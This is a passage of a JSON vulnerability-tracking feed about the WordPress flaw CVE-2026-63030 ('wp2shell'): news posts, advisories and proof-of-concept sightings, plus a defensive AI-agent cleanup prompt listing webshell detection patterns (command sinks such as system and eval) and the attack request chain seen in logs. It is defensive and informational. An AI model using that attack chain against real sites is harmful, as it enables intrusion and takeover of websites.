"sighting", "label": "Seen", "source": "https://gist.github.com/tryadvocacy/8c840f93a1a089d4480b9f830a489deb", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9cbc19bb-7214-4054-9a43-f196498e3d51", "content": "# Clean up wp2shell with an AI agent (Claude Code)\n\nSource: InstaWP on GitHub\n\nPrefer to have an AI agent do the detection and cleanup, one site at a time, with a human confirming each destructive step? Paste the prompt below into [Claude Code](https://claude.com/claude-code) (or any capable coding/agent tool with shell access to the server).\n\n**Before you start:** take a snapshot/backup of the site. This process deletes users, removes files, and rotates keys.\n\n---\n\n## The prompt\n\n```\nYou are helping me check a WordPress site for compromise by the wp2shell vulnerability\n(CVE-2026-63030, the pre-auth RCE fixed in WordPress 7.0.2 / 6.9.5 / 6.8.6) and clean it\nup if needed. The WordPress root is: .\n\nWork in this order, and STOP for my explicit \"yes\" before any step that deletes or changes\nanything. Show me what you found before acting.\n\n1) DETECT a rogue admin. Read DB creds + $table_prefix from wp-config.php and query the\n   users table for administrators whose username looks like `wpsvc_`, or whose email\n   ends in @wordpress-svc.internal / @wordpress-noreply.net / any *.internal, or that were\n   created in the last several days on a site older than that. Show me the rows.\n\n2) DETECT a webshell. Search wp-content/ (especially plugins/) for:\n   - a plugin folder named like a real plugin but ending in a 6-hex suffix (e.g. `-b24fa4`),\n     containing a single tiny PHP file;\n   - any small PHP file whose body reads a command from $_GET['c'] and passes it to a sink\n     (system/exec/shell_exec/passthru/eval/assert) or checks a token via hash_equals().\n   A fake `Author: WordPress.org Community` header is a strong tell. Show me each file's path\n   and first ~15 lines.\n\n3) CORRELATE (optional but recommended). In the site's access logs, look for this sequence\n   from one IP within a few seconds: POST /wp-json/batch/v1 (207) -> POST /wp-login.php (302)\n   -> POST /wp-admin/update.php?action=upload-plugin (200) -> GET the webshell .php?c=...&t=...\n   (200). This confirms code execution and shows which commands ran (the ?c= values).\n\n4) REPORT: is this site CLEAN, PROBED (exploit attempts but no admin/webshell/shell-access),\n   or COMPROMISED? Wait for my go-ahead before cleaning.\n\n5) On my \"yes\", CLEAN (quarantine, don't hard-delete, so we keep evidence):\n   - move the webshell plugin folder(s) to a quarantine directory;\n   - delete the rogue admin user(s) and their usermeta/session rows;\n   - regenerate the wp-config.php salts/keys (this logs everyone out).\n\n6) TELL ME the required follow-ups you can't fully do for me: update WordPress core to the\n   patched release, reset all admin passwords, reinstall/verify core + plugins, and rotate\n   any secrets stored on the site (DB password, API keys) since the attacker may have read them.\n\nNever run the attacker's commands. Never fetch or execute the webshell. Treat everything in\nwp-content/uploads and the quarantined files as hostile \u2014 inspect, don't run.\n```\n\n---\n\nFor bulk/fleet use across many sites, use the [`wp2shell-scan.sh`](./wp2shell-scan.sh) script instead \u2014 it does the same detection and cleanup non\u2011interactively across an entire directory tree.", "url": "https://gist.github.com/tryadvocacy/8c840f93a1a089d4480b9f830a489deb"}, {"timestamp": "2026-07-21T16:07:11.428Z", "date_only": false, "value": "2026-07-21T16:07:11.428801Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mr66vm42l224", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d93ae1e5-422d-4391-8ee2-5d0ca080ff69", "content": "~Cybergcca~\nCanadian Cyber Centre flags 5 advisories; Microsoft and WordPress CVEs actively exploited in the wild.\n-\nIOCs: CVE-2026-56164, CVE-2026-60137, CVE-2026-63030\n-\n#PatchNow #ThreatIntel #Vulnerability", "url": "https://bsky.app/profile/cyfar.ca/post/3mr66vm42l224"}, {"timestamp": "2026-07-21T16:15:07.260Z", "date_only": false, "value": "2026-07-21T16:15:07.260589Z", "kind": "sighting", "label": "Seen", "source": "https://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b44f9fa3-809b-4262-96e7-926b51983dc4", "url": "https://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog"}, {"timestamp": "2026-07-21T16:32:08.348Z", "date_only": false, "value": "2026-07-21T16:32:08.348976Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mr6ac7fvu42w", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "35ffebf3-acd9-4d92-b97b-cdfad13f28d5", "content": "CISA added four flaws to its KEV catalog, including WordPress RCE (CVE-2026-63030) and Langflow RCE (CVE-2026-0770). All are exploited in the wild.\n\n#CISA #KEV #WordPress #Langflow #DDWRT #RCE #SQLInjection", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mr6ac7fvu42w"}, {"timestamp": "2026-07-21T16:42:10.562Z", "date_only": false, "value": "2026-07-21T16:42:10.562216Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mr6au5yxu62o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ed029b55-5b70-4343-9af6-91e8c0a2d3ff", "content": "Hackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers.", "url": "https://bsky.app/profile/bleepingcomputer.com/post/3mr6au5yxu62o"}, {"timestamp": "2026-07-21T17:53:22.256Z", "date_only": false, "value": "2026-07-21T17:53:22.256425Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mr6etgvstk2a", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc2e8a07-b5f2-4e3a-9527-73d62c50448a", "content": "WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)\n\nLast week, Searchlight Cyber released details about a vulnerability they are calling \"wp2shell\". The vulnerability was initially announced without a CVE number. But now has been assigned CVE-2026-63030. Many WordPr\u2026\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mr6etgvstk2a"}, {"timestamp": "2026-07-21T18:38:35.190Z", "date_only": false, "value": "2026-07-21T18:38:35.190176Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr6heczzyx2z", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9b19da86-4c54-4a4e-b736-1a36d1adbe16", "content": "\ud83e\udd16 CVE-2026-63030 & CVE-2026-60137 (Critical): wp2shell WordPress flaws exploited in the wild to deploy persistent webshells. Unauthenticated RCE on affected sites.\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr6heczzyx2z"}, {"timestamp": "2026-07-21T19:45:05.471Z", "date_only": false, "value": "2026-07-21T19:45:05.471438Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mr6l3ancmz2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2af5dd07-19ef-4951-bfe7-ff2f9773e525", "content": "WordPress Core\u306ewp2shell\u8106\u5f31\u6027\uff08CVE-2026-63030, CVE-2026-60137\uff09\u304c\u60aa\u7528\u3055\u308c\u3001webshell\u8a2d\u7f6e\u3084\u60aa\u6027\u30d7\u30e9\u30b0\u30a4\u30f3\u5c0e\u5165\u306e\u88ab\u5bb3\u304c\u51fa\u3066\u3044\u307e\u3059\u3002", "url": "https://bsky.app/profile/postac001.bsky.social/post/3mr6l3ancmz2o"}, {"timestamp": "2026-07-21T20:00:16.449Z", "date_only": false, "value": "2026-07-21T20:00:16.449663Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6lwfdja42j", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "b4d52f71-74e1-4605-8224-a91c29d4be50", "content": "\ud83d\udce2 wp2shell : analyse technique approfondie des CVE-2026-63030 et CVE-2026-60137 dans WordPress\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 18 juillet 2026 \u2026\nhttps://cyberveille.ch/posts/2026-07-21-wp2shell-analyse-technique-approfondie-des-cve-2026-63030-et-cve-2026-60137-dans-wordpress/ #CVE_2026_60137 #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6lwfdja42j"}, {"timestamp": "2026-07-21T20:03:09.695Z", "date_only": false, "value": "2026-07-21T20:03:09.695767Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mr6m3k3w762w", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "5c4573a1-e3c6-4bcd-953e-92a2b34b65aa", "content": "WordPress Core: Critical wp2shell RCE CVE-2026-63030\n\nhttps://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core\nhttps://flagthis.com/tldr/5250\n\n##WordPress ##RCE ##ZeroDay ##AIExploitation", "url": "https://bsky.app/profile/royans.bsky.social/post/3mr6m3k3w762w"}, {"timestamp": "2026-07-21T21:01:08.182Z", "date_only": false, "value": "2026-07-21T21:01:08.182856Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/feilong76.bsky.social/post/3mr6pd4ugj227", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "90aaf988-43cd-4a74-85db-d06e65d979f3", "content": "\u201cWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\u201d htn.to/47Wdhse2Tg", "url": "https://bsky.app/profile/feilong76.bsky.social/post/3mr6pd4ugj227"}, {"timestamp": "2026-07-21T22:00:04.076Z", "date_only": false, "value": "2026-07-21T22:00:04.076945Z", "kind": "sighting", "label": "Seen", "source": "Telegram/FUUob7-zyIwG-V03CZR5Ahh_FduIhRXEOitTpfUCuCYso2U3", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cb933118-2800-4c81-b696-b6f6731544a2"}, {"timestamp": "2026-07-21T22:14:12.099Z", "date_only": false, "value": "2026-07-21T22:14:12.099026Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/qubblelabs.com/post/3mr6tfukeb22g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a9b93e88-b3fa-42d7-b636-c1eeb8a75976", "content": "Three days. Millions of WordPress sites. Two CVEs chained for RCE via plugin upload. DarkReading confirms active exploitation of CVE-2026-60137 + CVE-2026-63030.\n\nThe structural rot: WordPress has zero code-signing requirement for plugins.", "url": "https://bsky.app/profile/qubblelabs.com/post/3mr6tfukeb22g"}, {"timestamp": "2026-07-21T22:30:16.042Z", "date_only": false, "value": "2026-07-21T22:30:16.042652Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6ucljy7y2q", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "eea16930-5f00-4778-92c4-6146975bf7b6", "content": "\ud83d\udce2 Exploitation active de wp2shell : RCE pr\u00e9-auth critique dans WordPress Core (CVE-2026-63030 & CVE-2026-60137)\n\ud83d\udcdd \u2026\nhttps://cyberveille.ch/posts/2026-07-21-exploitation-active-de-wp2shell-rce-pre-auth-critique-dans-wordpress-core-cve-2026-63030-cve-2026-60137/ #CMSmap__malicious_variant_ #Cyberveil\u2026", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6ucljy7y2q"}, {"timestamp": "2026-07-22T00:00:00Z", "date_only": false, "value": "2026-07-22T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.1.revision_date"}, {"timestamp": "2026-07-22T00:00:03.511Z", "date_only": false, "value": "2026-07-22T00:00:03.511249Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FUUob7-zyIwG-V03CZR5Ahh_FduIhRXEOitTpfUCuCYso2U3", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "df03bfae-a9cf-415d-8ae8-4b5e595e997f"}, {"timestamp": "2026-07-22T00:00:07.340Z", "date_only": false, "value": "2026-07-22T00:00:07.340132Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FAhkP69mP1IwQSaxAcFWZvu6CnSkNPg4O9iKi7h8BG1-uIM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "13cd833b-c75f-4c91-8db4-9e979c7769e6"}, {"timestamp": "2026-07-22T00:00:07.374Z", "date_only": false, "value": "2026-07-22T00:00:07.374740Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/c_Rzplsy8E2pteouDdziBYUOz2Zf4p3Unq7ANnF9Z7n20HM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7360f859-3036-41ae-9c60-f6b25e3f81ff"}, {"timestamp": "2026-07-22T00:00:07.405Z", "date_only": false, "value": "2026-07-22T00:00:07.405856Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/uumWHaZ1gN7bAvwXVT7WzY5HoAqs0x1gXuRvU8DEoe0NnjY", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "435b920a-34fe-4fee-bc85-41b1680d7b76"}, {"timestamp": "2026-07-22T00:00:07.436Z", "date_only": false, "value": "2026-07-22T00:00:07.436421Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/wmuqBBYe-mnc2Lte0TuOGY6tvODW7j8bP7QungiPmYWc0w0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5e9411b1-b99f-4e53-b07d-7a0365a5fa7a"}, {"timestamp": "2026-07-22T00:00:07.715Z", "date_only": false, "value": "2026-07-22T00:00:07.715344Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ad70a97d-5b48-4548-a66e-7f1fba4b7f03"}, {"timestamp": "2026-07-22T00:00:07.746Z", "date_only": false, "value": "2026-07-22T00:00:07.746022Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/VNcCH5gAWr1JFL68o0sjgfBXXg-hp68b6HfdKkREhSwhrzw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7617b757-5e5d-4501-a777-8eb7dd8cf07f"}, {"timestamp": "2026-07-22T00:00:07.830Z", "date_only": false, "value": "2026-07-22T00:00:07.830628Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/JKu8MzOeWEiDh6Wy6ZRFCp9pX-H-YlUWAgYEZsV0JVERmls", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "41cde94e-e1de-409f-883d-1a0dc0cbd419"}, {"timestamp": "2026-07-22T00:00:07.980Z", "date_only": false, "value": "2026-07-22T00:00:07.980652Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "cb43c263-7e10-45c1-a52e-ec8975a33778"}, {"timestamp": "2026-07-22T00:00:08.013Z", "date_only": false, "value": "2026-07-22T00:00:08.013811Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/NvyRAPdfWiHuFnDgCWisEYzfqycyb2H27n16VkLUJ0UfwkQ", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2fb3e35f-5187-40fa-b76a-a4797f463477"}, {"timestamp": "2026-07-22T00:00:21.378Z", "date_only": false, "value": "2026-07-22T00:00:21.378777Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94345", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9493b0f6-dd0a-4d28-8f30-a6ac5a598c2a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Wordpress-TOWN\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lucifer0xf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 16:28:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging in by chaining CVE-2026-63030 and CVE-2026-60137, potentially leading to full site compromise.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94345"}, {"timestamp": "2026-07-22T03:40:07.613Z", "date_only": false, "value": "2026-07-22T03:40:07.613579Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mr7fmo5iqh2s", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1f430f25-8d45-4a3c-a25e-ce24e1ad674d", "content": "\uff1e WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell)\nhttps://www.ipa.go.jp/security/security-alert/2026/alert20260722.html\n", "url": "https://bsky.app/profile/crawler.baldanders.info/post/3mr7fmo5iqh2s"}, {"timestamp": "2026-07-22T03:42:17.142Z", "date_only": false, "value": "2026-07-22T03:42:17.142316Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mr7fqje3i52u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d24e1cc6-db72-473f-822e-7080ea1e0d23", "content": "RCE WordPress Cr\u00edtica: Protege tu Sitio en 2026\n\nLa RCE WordPress cr\u00edtica wp2shell (CVE-2026-63030) est\u00e1 bajo explotaci\u00f3n masiva activa. Entiende la vulnerabilidad y c\u00f3mo proteger tu WordPress.\n\n#wordpress #rce #seguridad #exploit #cve2026", "url": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mr7fqje3i52u"}, {"timestamp": "2026-07-22T03:55:47.123Z", "date_only": false, "value": "2026-07-22T03:55:47.123838Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-63030", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-07-22T03:55:47.123Z", "date_only": false, "value": "2026-07-22T03:55:47.123838Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-63030", "record": "FKIE_CVE-2026-63030", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-07-22T04:50:33.995Z", "date_only": false, "value": "2026-07-22T04:50:33.995277Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr7jkmsapj2n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1a59f60b-e65d-4557-a0a0-8500910a3973", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 68 interactions\nCVE-2026-60137: 54 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 10 interactions\nCVE-2026-0257: 6 interactions\nCVE-2026-6875: 5 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr7jkmsapj2n"}, {"timestamp": "2026-07-22T04:51:49.212Z", "date_only": false, "value": "2026-07-22T04:51:49.212131Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/seeck.jp/post/3mr7jmtloo22k", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3edfca60-1d63-43c8-9146-7512cc3eda55", "content": "WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb www.ipa.go.jp/security/sec...", "url": "https://bsky.app/profile/seeck.jp/post/3mr7jmtloo22k"}, {"timestamp": "2026-07-22T06:38:37.231Z", "date_only": false, "value": "2026-07-22T06:38:37.231179Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mr7plsqsmb2e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0f03b359-aca7-475c-b1c7-c49f05ec39ef", "content": "\u91ce\u751f\u4e0b\u3067\u6355\u6349\u3055\u308c\u305fwp2shell\uff1aWordPress\u306e\u8a8d\u8a3c\u524dRCE\u3001\u30d1\u30c3\u30c1\u516c\u958b\u304b\u3089\u308f\u305a\u304b2\u65e5\u5f8c\n\n\u8981\u70b9\u307e\u3068\u3081 wp2shell\u306f\u3001CVE-2026-63030\uff08REST API\u30d0\u30c3\u30c1\u30eb\u30fc\u30c8\u306e\u6df7\u540c\u3001CVSS 9.8\uff09\u3068CVE-2026-60137\uff08WP_Query::author__not_in\u306b\u304a\u3051\u308bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\uff09\u3092\u9023\u9396\u3055\u305b\u305f\u653b\u6483\u30c1\u30a7\u30fc\u30f3\u3067\u3001\u30d7\u30e9\u30b0\u30a4\u30f3\u3092\u4e00\u5207\u5c0e\u5165\u3057\u3066\u3044\u306a\u3044\u30c7\u30d5\u30a9\u30eb\u30c8\u306eWordPress...", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mr7plsqsmb2e"}, {"timestamp": "2026-07-22T06:59:57.422Z", "date_only": false, "value": "2026-07-22T06:59:57.422777Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hasegawa.bsky.social/post/3mr7qrymwvc2d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a3175e79-e2d1-48fb-8a9d-42de2328c3d3", "content": "\uff08\u4ed5\u4e8b\uff09 \u300cScutum\u3067\u306f\u30012026\u5e747\u670819\u65e5\u6642\u70b9\u3067\u3001\u672c\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u9632\u5fa1\u5bfe\u5fdc\u3092\u884c\u3044\u3001\u9632\u5fa1\u3067\u304d\u308b\u72b6\u614b\u306b\u66f4\u65b0\u3057\u3066\u304a\u308a\u307e\u3059\u3002\u300d  / WordPress Core\u306e\u8106\u5f31\u6027\u300cwp2shell\u300d\uff08CVE-2026-63030\u3001CVE-2026-60137\uff09\u306b\u3064\u3044\u3066 - Scutum\u304a\u5ba2\u69d8\u30b5\u30dd\u30fc\u30c8\u30b5\u30a4\u30c8\uff08\u672c\u756a\uff09 support.scutum.jp/2026/07/wp2s...", "url": "https://bsky.app/profile/hasegawa.bsky.social/post/3mr7qrymwvc2d"}, {"timestamp": "2026-07-22T07:45:37.842Z", "date_only": false, "value": "2026-07-22T07:45:37.842615Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mr7td726bst3", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fc936028-c888-4836-9329-2e744647168c", "content": "WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb https://www.ipa.go.jp/security/security-alert/2026/alert20260722.html", "url": "https://bsky.app/profile/shiojiri.com/post/3mr7td726bst3"}, {"timestamp": "2026-07-22T07:48:57.311Z", "date_only": false, "value": "2026-07-22T07:48:57.311358Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ai-kansoku.com/post/3mr7tjln2bs2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3175f1d2-25b8-49da-9f39-171a8bc7f897", "content": "\u26a0\ufe0fWordPress\u306b\u7dca\u6025\u306e\u8106\u5f31\u6027\n\n\u300cwp2shell\uff08CVE-2026-63030\uff09\u300d\n\n\u5bfe\u8c61\u30d0\u30fc\u30b8\u30e7\u30f3\n\u30fb6.8.0\u301c6.8.5\n\u30fb6.9.0\u301c6.9.4\n\u30fb7.0.0\u301c7.0.1\n\n\u30ed\u30b0\u30a4\u30f3\u4e0d\u8981\u30fb\u30d7\u30e9\u30b0\u30a4\u30f3\u4e0d\u8981\u3067\u653b\u6483\u304c\u6210\u7acb\u3002CISA\u3082\u5b9f\u969b\u306e\u60aa\u7528\u3092\u78ba\u8a8d\u6e08\u307f\u3002\n\n\u300c\u8106\u5f31\u6027\u3063\u3066\u4f55\uff1f\u300d\u304b\u3089\u4e01\u5be7\u306b\u89e3\u8aac\u3057\u307e\u3057\u305f\u3002\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3078\u306e\u5171\u6709\u306b\u3082\u3069\u3046\u305e\ud83d\udc47\nwww.blog.ai-kansoku.com/wordpress-wp...\n\n#WordPress #wp2shell #\u8106\u5f31\u6027", "url": "https://bsky.app/profile/ai-kansoku.com/post/3mr7tjln2bs2m"}, {"timestamp": "2026-07-22T09:28:26.634Z", "date_only": false, "value": "2026-07-22T09:28:26.634288Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr7z3iwfpx2v", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "cfdb06db-cbb5-49ac-af2f-85b33e8b1085", "content": "\ud83d\udcf0 Celah Kritis Wp2Shell WordPress Dieksploitasi untuk Pasang Webshell\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/22/wp2shell-wordpress-dieksploitasi-pasang-webshell/\n\n#cve-2026-60137 #cve-2026-63030 #cybersecurity #keamananSiber #rce #vulnerability #webshell #wordpress #wor", "url": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr7z3iwfpx2v"}, {"timestamp": "2026-07-22T11:53:17.914Z", "date_only": false, "value": "2026-07-22T11:53:17.914079Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mrab6jcgpu2g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a63e1ad7-bb15-484e-b1d2-fab61756c4f5", "content": "\u26a0\ufe0f CRITICAL THREAT: CVE-2026-63030 in WordPress Core enables SQL injection and RCE via interpretation conflicts. Active exploitation is confirmed! Get the forensic detection queries and hardening strategies needed to secure your web assets now. https://thecybermind.co/9k20\n\n#CyberSecurity #InfoSec\u2026", "url": "https://bsky.app/profile/thecybermind.co/post/3mrab6jcgpu2g"}, {"timestamp": "2026-07-22T12:05:05.222Z", "date_only": false, "value": "2026-07-22T12:05:05.222925Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mrabtksxen2n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "01528b2f-e5e6-45b5-a522-78d3349be4d0", "content": "CISA warns of active exploitation of WordPress Core vulnerabilities CVE-2026-63030 and CVE-2026-60137; update to latest versions now. #WordPress #Security #CISA #Vulnerabilities thedailytechfeed.com/cisa-alerts-...", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mrabtksxen2n"}, {"timestamp": "2026-07-22T15:00:04.516Z", "date_only": false, "value": "2026-07-22T15:00:04.516150Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/BleepingComputer/25158", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "129684d2-c6b4-4f36-85ff-45d6fe6fc406", "content": "\u200aCritical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/BleepingComputer/25158"}, {"timestamp": "2026-07-22T15:07:53.073Z", "date_only": false, "value": "2026-07-22T15:07:53.073999Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/raplsworks.bsky.social/post/3mram2hmczk2c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c76b814a-ebb5-449c-b03b-b39574235e85", "content": "WordPress Core\u306e\u300cWP2Shell\u300d(CVE-2026-63030 / CVE-2026-60137)\u3001\u672a\u8a8d\u8a3cRCE\u3068\u3044\u3046\u306a\u304b\u306a\u304b\u306e\u3084\u3064\u3067\u3072\u3084\u3063\u3068\u3057\u305f\u3002\u62c5\u5f53\u30b5\u30a4\u30c8\u3092\u4e00\u901a\u308a\u898b\u3066\u56de\u3063\u3066\u78ba\u8a8d\u5b8c\u4e86\u3002\n\n\u4fee\u6b63\u7248\u306f 6.9.5 / 7.0.2\u3002\u81ea\u52d5\u66f4\u65b0\u4efb\u305b\u306b\u305b\u305a\u3001\u8a72\u5f53\u30d0\u30fc\u30b8\u30e7\u30f3\u306a\u3089\u5b9f\u969b\u306b\u5f53\u305f\u3063\u3066\u308b\u304b\u78ba\u8a8d\u3057\u3066\u304a\u304d\u305f\u3044\u3068\u3053\u308d\u3002\n\n#WordPress #\u8106\u5f31\u6027", "url": 